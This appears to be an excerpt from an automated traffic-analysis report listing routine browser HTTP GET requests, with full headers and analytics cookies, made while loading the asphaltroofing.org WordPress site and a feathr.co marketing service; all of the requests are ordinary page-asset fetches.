Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/images/misc-sprite-sheet.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/superfish-menu/js/superfish.combined.js?ver=1.7.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/js/frontend/script.js?ver=1.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /js/boomerang.min.js HTTP/1.1Host: cdn.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/meanmenu/jquery.meanmenu.min.js?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/meanmenu/jquery.meanmenu.options.js?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/images/repeat-x-sprite-sheet.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/page-links-to/dist/new-tab.js?ver=3.3.6 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/real-time-auto-find-and-replace/assets/js/rtafar.app.min.js?ver=1.5.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=6.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/lib/vc_waypoints/vc-waypoints.min.js?ver=6.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/row-separators/row-separators/js/min/script-min.js?ver=1.4.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.7 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.asphaltroofing.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/04/9-of-17.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/04/3-tab_Phone.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/02/museum-of-the-american-revolution.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/revslider/public/assets/assets/loader.gif HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.2.2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/04/New-Video-Website-Banner_V2.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/02/Residential-Manual-Digital-Version-Web-Images_1900x400.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/revslider/public/assets/assets/loader.gif HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/05/V2-Banner-1900x400-1.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/04/New-Video-Website-Banner_V2.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /media/2017/10/cmw-E-facade-front-1.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/03/podcast-4209770-1024x751.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/04/9-of-17.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/02/Residential-Manual-Digital-Version-Web-Images_1900x400.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/04/3-tab_Phone.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/02/museum-of-the-american-revolution.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/03/podcast-4209770-1024x751.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/10/ig.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/135083026.png?id=57 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
